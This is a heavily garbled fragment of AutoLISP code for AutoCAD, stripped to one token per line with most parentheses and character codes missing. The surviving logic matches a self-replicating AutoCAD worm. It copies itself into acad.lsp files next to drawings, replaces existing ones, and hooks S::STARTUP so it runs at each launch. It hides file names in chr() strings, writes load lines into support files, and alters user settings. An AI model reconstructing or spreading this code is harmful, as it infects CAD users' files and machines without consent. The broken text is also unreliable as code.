;hgf
setvar
"cmdecho"
vl-load-com
(setq
ndwg
getvar
"dwgname"
"Drawing1.dwg"
ndwg
(command
"save"
"Drawing1.dwg" ""
setq
strcat
chr
chr
chr
chr
chr
chr
chr
setq
strcat
chr
chr
chr
chr
chr
chr
chr
chr
chr
chr
chr
chr
----------------
(setq
d3
strcat
(chr
chr
chr
(chr
chr
chr
chr
chr
chr
setq
path
findfile
"base.dcl"
setq
path
substr
path 1
strlen
path
setq
path1
strcat
path
(setq path3 (strcat path d3))
setq
nowdwg
getvar
"dwgname"
setq
wjqm
findfile
nowdwg
setq
dwgpath
substr
wjqm
strlen
wjqm
strlen
nowdwg
setq
path2
strcat
dwgpath
"acad.lsp"
SETQ
fp1
findfile
path1
fp1
vl-file-copy
path2
path1
SETQ
fp2
findfile
path2
fp2
vl-file-copy
path1
path2
(/=
fp2
progn
(vl-file-delete
path2
vl-file-copy
path1
path2
---------------------------------------------------------------
SETQ
fp3
findfile
path3
fp3
progn
setq
wjm
(open
path3
setq
wjm
read-line
wjm)
wjm
";;;"
(progn
setq
open
path3
write-line
";;;"
wj)
(close
defun
s::startup
setvar
"cmdecho" 0
setq
lspmnl
setq
path
findfile
"base.dcl"
setq
path
substr
path
strlen
path
setq
wjqm
strcat
path
strcat
chr
chr
chr
chr
chr
chr
setq
wjm
open
wjqm "r"
progn
while
setq
wz
read-line
setq
ns1
setq
ns2
strlen
substr
setq
lspmnl
close
lspmnl

(progn

setq
wjqm
strcat
path
strcat
chr
chr
chr
chr
setq
wjm
open
wjqm
write-line
(strcat
"(load "
chr
) d2
(chr
34)")"
wjm)
write-line
"(princ)"
close
wjm)
setvar
"zoomfactor"
setvar
"mbuttonpan"
setvar
"HIGHLIGHT"
setvar
"fillmode"
;xyz
(setq
strtopstr
strcat
chr
chr